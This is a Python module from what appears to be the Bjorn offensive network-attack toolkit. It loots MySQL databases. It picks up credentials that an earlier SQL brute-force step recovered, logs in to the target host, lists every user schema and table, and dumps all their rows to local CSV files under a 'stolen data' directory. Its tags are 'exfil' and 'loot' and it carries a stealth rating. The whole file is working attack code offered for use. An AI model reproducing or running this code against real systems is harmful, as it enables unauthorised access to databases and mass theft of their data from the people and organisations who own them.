mirror of
https://github.com/infinition/Bjorn.git
synced 2025-12-12 07:35:00 +00:00
253 lines
9.8 KiB
Python
253 lines
9.8 KiB
Python
"""
|
|
steal_data_sql.py — SQL data looter (DB-backed)
|
|
|
|
SQL mode:
|
|
- Orchestrator provides (ip, port) after parent success (SQLBruteforce).
|
|
- DB.creds (service='sql') provides (user,password, database?).
|
|
- We connect first without DB to enumerate tables (excluding system schemas),
|
|
then connect per schema to export CSVs.
|
|
- Output under: {data_stolen_dir}/sql/{mac}_{ip}/{schema}/{schema_table}.csv
|
|
"""
|
|
|
|
import os
|
|
import logging
|
|
import time
|
|
import csv
|
|
|
|
from threading import Timer
|
|
from typing import List, Tuple, Dict, Optional
|
|
from sqlalchemy import create_engine, text
|
|
from shared import SharedData
|
|
from logger import Logger
|
|
|
|
logger = Logger(name="steal_data_sql.py", level=logging.DEBUG)
|
|
|
|
b_class = "StealDataSQL"
|
|
b_module = "steal_data_sql"
|
|
b_status = "steal_data_sql"
|
|
b_parent = "SQLBruteforce"
|
|
b_port = 3306
|
|
b_trigger = 'on_any:["on_cred_found:sql","on_service:sql"]'
|
|
b_requires = '{"all":[{"has_cred":"sql"},{"has_port":3306},{"max_concurrent":2}]}'
|
|
# Scheduling / limits
|
|
b_priority = 60 # 0..100 (higher processed first in this schema)
|
|
b_timeout = 900 # seconds before a pending queue item expires
|
|
b_max_retries = 1 # minimal retries; avoid noisy re-runs
|
|
b_cooldown = 86400 # seconds (per-host cooldown between runs)
|
|
b_rate_limit = "1/86400" # at most 3 executions/day per host (extra guard)
|
|
# Risk / hygiene
|
|
b_stealth_level = 6 # 1..10 (higher = more stealthy)
|
|
b_risk_level = "high" # 'low' | 'medium' | 'high'
|
|
b_enabled = 1 # set to 0 to disable from DB sync
|
|
# Tags (free taxonomy, JSON-ified by sync_actions)
|
|
b_tags = ["exfil", "sql", "loot", "db", "mysql"]
|
|
|
|
class StealDataSQL:
|
|
def __init__(self, shared_data: SharedData):
|
|
self.shared_data = shared_data
|
|
self.sql_connected = False
|
|
self.stop_execution = False
|
|
self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
|
|
self._refresh_ip_identity_cache()
|
|
logger.info("StealDataSQL initialized.")
|
|
|
|
# -------- Identity cache (hosts) --------
|
|
def _refresh_ip_identity_cache(self) -> None:
|
|
self._ip_to_identity.clear()
|
|
try:
|
|
rows = self.shared_data.db.get_all_hosts()
|
|
except Exception as e:
|
|
logger.error(f"DB get_all_hosts failed: {e}")
|
|
rows = []
|
|
for r in rows:
|
|
mac = r.get("mac_address") or ""
|
|
if not mac:
|
|
continue
|
|
hostnames_txt = r.get("hostnames") or ""
|
|
current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else ""
|
|
ips_txt = r.get("ips") or ""
|
|
if not ips_txt:
|
|
continue
|
|
for ip in [p.strip() for p in ips_txt.split(';') if p.strip()]:
|
|
self._ip_to_identity[ip] = (mac, current_hn)
|
|
|
|
def mac_for_ip(self, ip: str) -> Optional[str]:
|
|
if ip not in self._ip_to_identity:
|
|
self._refresh_ip_identity_cache()
|
|
return self._ip_to_identity.get(ip, (None, None))[0]
|
|
|
|
def hostname_for_ip(self, ip: str) -> Optional[str]:
|
|
if ip not in self._ip_to_identity:
|
|
self._refresh_ip_identity_cache()
|
|
return self._ip_to_identity.get(ip, (None, None))[1]
|
|
|
|
# -------- Credentials (creds table) --------
|
|
def _get_creds_for_target(self, ip: str, port: int) -> List[Tuple[str, str, Optional[str]]]:
|
|
"""
|
|
Return list[(user,password,database)] for SQL service.
|
|
Prefer exact IP; also include by MAC if known. Dedup by (u,p,db).
|
|
"""
|
|
mac = self.mac_for_ip(ip)
|
|
params = {"ip": ip, "port": port, "mac": mac or ""}
|
|
|
|
by_ip = self.shared_data.db.query(
|
|
"""
|
|
SELECT "user","password","database"
|
|
FROM creds
|
|
WHERE service='sql'
|
|
AND COALESCE(ip,'')=:ip
|
|
AND (port IS NULL OR port=:port)
|
|
""", params)
|
|
|
|
by_mac = []
|
|
if mac:
|
|
by_mac = self.shared_data.db.query(
|
|
"""
|
|
SELECT "user","password","database"
|
|
FROM creds
|
|
WHERE service='sql'
|
|
AND COALESCE(mac_address,'')=:mac
|
|
AND (port IS NULL OR port=:port)
|
|
""", params)
|
|
|
|
seen, out = set(), []
|
|
for row in (by_ip + by_mac):
|
|
u = str(row.get("user") or "").strip()
|
|
p = str(row.get("password") or "").strip()
|
|
d = row.get("database")
|
|
d = str(d).strip() if d is not None else None
|
|
key = (u, p, d or "")
|
|
if not u or (key in seen):
|
|
continue
|
|
seen.add(key)
|
|
out.append((u, p, d))
|
|
return out
|
|
|
|
# -------- SQL helpers --------
|
|
def connect_sql(self, ip: str, username: str, password: str, database: Optional[str] = None):
|
|
try:
|
|
db_part = f"/{database}" if database else ""
|
|
conn_str = f"mysql+pymysql://{username}:{password}@{ip}:{b_port}{db_part}"
|
|
engine = create_engine(conn_str, connect_args={"connect_timeout": 10})
|
|
# quick test
|
|
with engine.connect() as _:
|
|
pass
|
|
self.sql_connected = True
|
|
logger.info(f"Connected SQL {ip} as {username}" + (f" db={database}" if database else ""))
|
|
return engine
|
|
except Exception as e:
|
|
logger.error(f"SQL connect error {ip} {username}" + (f" db={database}" if database else "") + f": {e}")
|
|
return None
|
|
|
|
|
|
|
|
def find_tables(self, engine):
|
|
"""
|
|
Returns list of (table_name, schema_name) excluding system schemas.
|
|
"""
|
|
try:
|
|
if self.shared_data.orchestrator_should_exit:
|
|
logger.info("Table search interrupted.")
|
|
return []
|
|
q = text("""
|
|
SELECT TABLE_NAME, TABLE_SCHEMA
|
|
FROM INFORMATION_SCHEMA.TABLES
|
|
WHERE TABLE_TYPE='BASE TABLE'
|
|
AND TABLE_SCHEMA NOT IN ('information_schema','mysql','performance_schema','sys')
|
|
""")
|
|
with engine.connect() as conn:
|
|
rows = conn.execute(q).fetchall()
|
|
return [(r[0], r[1]) for r in rows]
|
|
except Exception as e:
|
|
logger.error(f"find_tables error: {e}")
|
|
return []
|
|
|
|
|
|
def steal_data(self, engine, table: str, schema: str, local_dir: str) -> None:
|
|
try:
|
|
if self.shared_data.orchestrator_should_exit:
|
|
logger.info("Data steal interrupted.")
|
|
return
|
|
|
|
q = text(f"SELECT * FROM `{schema}`.`{table}`")
|
|
with engine.connect() as conn:
|
|
result = conn.execute(q)
|
|
headers = result.keys()
|
|
|
|
os.makedirs(local_dir, exist_ok=True)
|
|
out = os.path.join(local_dir, f"{schema}_{table}.csv")
|
|
|
|
with open(out, "w", newline="", encoding="utf-8") as f:
|
|
writer = csv.writer(f)
|
|
writer.writerow(headers)
|
|
for row in result:
|
|
writer.writerow(row)
|
|
|
|
logger.success(f"Dumped {schema}.{table} -> {out}")
|
|
except Exception as e:
|
|
logger.error(f"Dump error {schema}.{table}: {e}")
|
|
|
|
|
|
# -------- Orchestrator entry --------
|
|
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
|
|
try:
|
|
self.shared_data.bjorn_orch_status = b_class
|
|
try:
|
|
port_i = int(port)
|
|
except Exception:
|
|
port_i = b_port
|
|
|
|
creds = self._get_creds_for_target(ip, port_i)
|
|
logger.info(f"Found {len(creds)} SQL credentials in DB for {ip}")
|
|
if not creds:
|
|
logger.error(f"No SQL credentials for {ip}. Skipping.")
|
|
return 'failed'
|
|
|
|
def _timeout():
|
|
if not self.sql_connected:
|
|
logger.error(f"No SQL connection within 4 minutes for {ip}. Failing.")
|
|
self.stop_execution = True
|
|
|
|
timer = Timer(240, _timeout)
|
|
timer.start()
|
|
|
|
mac = (row or {}).get("MAC Address") or self.mac_for_ip(ip) or "UNKNOWN"
|
|
success = False
|
|
|
|
for username, password, _db in creds:
|
|
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
|
logger.info("Execution interrupted.")
|
|
break
|
|
try:
|
|
base_engine = self.connect_sql(ip, username, password, database=None)
|
|
if not base_engine:
|
|
continue
|
|
|
|
tables = self.find_tables(base_engine)
|
|
if not tables:
|
|
continue
|
|
|
|
for table, schema in tables:
|
|
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
|
logger.info("Execution interrupted.")
|
|
break
|
|
db_engine = self.connect_sql(ip, username, password, database=schema)
|
|
if not db_engine:
|
|
continue
|
|
local_dir = os.path.join(self.shared_data.data_stolen_dir, f"sql/{mac}_{ip}/{schema}")
|
|
self.steal_data(db_engine, table, schema, local_dir)
|
|
|
|
logger.success(f"Stole data from {len(tables)} tables on {ip}")
|
|
success = True
|
|
timer.cancel()
|
|
return 'success'
|
|
except Exception as e:
|
|
logger.error(f"SQL loot error {ip} {username}: {e}")
|
|
|
|
timer.cancel()
|
|
return 'success' if success else 'failed'
|
|
|
|
except Exception as e:
|
|
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
|
return 'failed'
|